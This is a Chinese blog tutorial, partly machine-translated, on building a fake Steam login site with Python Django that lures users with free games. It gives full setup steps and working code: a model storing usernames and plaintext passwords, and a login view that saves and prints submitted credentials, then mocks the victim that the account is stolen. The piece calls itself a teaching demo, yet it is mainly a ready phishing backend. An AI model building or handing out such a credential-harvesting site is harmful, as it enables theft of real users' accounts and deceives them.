用Python Django搭建简单一个steam钓鱼网站,只要免费领游戏,一钓一个准

前言

我们每天上网,总会遇到一些盗号的网站,或者别人会给你发一些链接,就是免费购物网站的优惠券和游戏官网上有免费皮肤和折扣的游戏。

[En]

When we surf the Internet every day, we will always encounter some websites with stolen numbers, or someone else will send you some links, which are coupons for free shopping websites and games with free skin and discounts on the official website of the game.

这些被盗网站的统一目的是要求你登录账号输入密码,然后点击登录,但它总是会提示你密码错误,无法登录。但你输入的所有信息都会出现在其他人的电脑上。

[En]

The unified purpose of these stolen websites is to ask you to log in your account to enter your password and click to log in, but it will always prompt you that your password is wrong and you can’t log in. But all the information you enter will appear on other people’s computers.

这些网站之所以能够愚弄他人,是因为基础官网和正版官网没有区别。不能说没有区别,只能说一模一样。

[En]

The reason why these websites can fool others is that there is no difference between the basic and authentic official websites. It can’t be said that there is no difference, it can only be said to be exactly the same.

用Python Django搭建简单一个steam钓鱼网站,只要免费领游戏,一钓一个准

今天,我们的目标是建立一个这样的网站的后端,简单地恢复您的帐户被盗的过程。

[En]

Today, our goal is to build a back-end of such a website to simply restore the process of your stolen account.

; 环境搭建

安装Django模块

pip install django[==版本]

如:pip install django==3.0
安装django的指定版本

创建Django项目

在命令指示符里数据命令

django-admin startproject steam_web

manage.py是命令文件,如果要运行Django内置的命令,必须要通过这个文件才行

; 创建子应用

将网站的每个模块拆分为子应用程序

[En]

Split each module of the website into sub-applications

python manage.py startapp login

用Python Django搭建简单一个steam钓鱼网站,只要免费领游戏,一钓一个准
会生成一个login文件,打开文件
用Python Django搭建简单一个steam钓鱼网站,只要免费领游戏,一钓一个准
用Python Django搭建简单一个steam钓鱼网站,只要免费领游戏,一钓一个准

介绍下我们会用到的文件

models.py文件:数据模型
views.py文件:用来控制页面逻辑

查看项目是否环境配置成功

可以用pycharm直接打开文件,然后点击运行

用Python Django搭建简单一个steam钓鱼网站,只要免费领游戏,一钓一个准

运行后,会给出一个域名。单击打开。

[En]

After running, a domain name will be given. Click Open.

用Python Django搭建简单一个steam钓鱼网站,只要免费领游戏,一钓一个准

如果出现以下页面,则表示项目环境配置成功

[En]

If the following page appears, it means that the project environment is configured successfully

; 开始实现功能

点击进入settings.py文件,进行定制化修改

Application definition 网站子应用进行注册,在最后一行写入login

Application definition
网站子应用进行注册
INSTALLED_APPS = [
    'django.contrib.admin',
    'django.contrib.auth',
    'django.contrib.contenttypes',
    'django.contrib.sessions',
    'django.contrib.messages',
    'django.contrib.staticfiles',
    'login',
]

创建一个templates文件,并修改代码

templates 文件夹的配置项
TEMPLATES = [
    {
        'BACKEND': 'django.template.backends.django.DjangoTemplates',
        'DIRS': [os.path.join(BASE_DIR, 'templates')],
        'APP_DIRS': True,
        'OPTIONS': {
            'context_processors': [
                'django.template.context_processors.debug',
                'django.template.context_processors.request',
                'django.contrib.auth.context_processors.auth',
                'django.contrib.messages.context_processors.messages',
            ],
        },
    },
]

配置网站默认语言、时间

网站默认语言 英文 修改成中文
LANGUAGE_CODE = 'zh-hans'
当前时间
TIME_ZONE = 'Asia/Shanghai'

USE_I18N = True

USE_L10N = True

USE_TZ = False

最后,当网站页面被刷新时,它就变成了中文。

[En]

Finally, when the website page is refreshed, it becomes Chinese.

用Python Django搭建简单一个steam钓鱼网站,只要免费领游戏,一钓一个准

静态页面当中的文件夹配置,并在总目录中创建一个static文件夹

STATIC_URL = '/static/'
STATICFILES_DIRS = [
    os.path.join(BASE_DIR, 'static'),
]

导入所需文件

; 开始编写数据模型

打开**models.py文件,需要去创建一个模型类

from django.db import models

Create your models here.

class User(models.Model):
    name = models.CharField(max_length=20)
    pwd = models.CharField(max_length=20)

编写视图

打开views.py文件,编写视图,是控制网站与用户的交互逻辑

渲染html文件到浏览器的
from django.shortcuts import render
from django.views.generic import View
from .models import User
from django.http import HttpResponse
Create your views here.

在浏览器中显示网站首页
def index(request):
    return render(request, 'index.html')

登录类视图
class Login(View):
    def get(self, request):
        return render(request, 'denlu.html', locals())

    '''
    当用户在页面中输入了一些数据
    可以使用post去做接收
    '''
    def post(self, request):
        name = request.POST.get('username')
        pwd = request.POST.get('password')

        User.objects.create(name=name, pwd=pwd).save()
        print(name)
        print(pwd)

        return HttpResponse('你的账号已经被盗, 溜了 溜了~')

在urls.py文件里编写路由

from django.contrib import admin
from django.urls import path
from login.views import index, Login

urlpatterns = [
    path('admin/', admin.site.urls),
    path('', index, name='index'),
    path('login/', Login.as_view(), name='login')
]

同步数据库

因为只是个教学,所以用是自带的:sqlite3,文件型小型数据库

用Python Django搭建简单一个steam钓鱼网站,只要免费领游戏,一钓一个准

点击打开后,在这里输入makemigrations,这是将数据模型中的字段编译成一个Python的脚本,包含了sql语言

用Python Django搭建简单一个steam钓鱼网站,只要免费领游戏,一钓一个准

确定后会给你生成一个0001_initial.py文件

然后在执行脚本,输入 migrate 将数据模型映射到数据库中

用Python Django搭建简单一个steam钓鱼网站,只要免费领游戏,一钓一个准
用Python Django搭建简单一个steam钓鱼网站,只要免费领游戏,一钓一个准

; 运行文件,效果如下图

选择点击登录,输入帐户密码,然后点击确定。

[En]

Select click to log in, enter the account password, and click OK.

用Python Django搭建简单一个steam钓鱼网站,只要免费领游戏,一钓一个准
用Python Django搭建简单一个steam钓鱼网站,只要免费领游戏,一钓一个准

然后您的帐户密码将被打印出来。

[En]

Then your account password will be printed out.

用Python Django搭建简单一个steam钓鱼网站,只要免费领游戏,一钓一个准

Original: https://www.cnblogs.com/qshhl/p/15624293.html
Author: 松鼠爱吃饼干
Title: 用Python Django搭建简单一个steam钓鱼网站,只要免费领游戏,一钓一个准

原创文章受到原创版权保护。转载请注明出处:https://www.johngo689.com/510650/

转载文章受原作者版权保护。转载请注明原作者出处!

(0)

大家都在看

亲爱的 Coder【最近整理,可免费获取】👉 最新必读书单  | 👏 面试题下载  | 🌎 免费的AI知识星球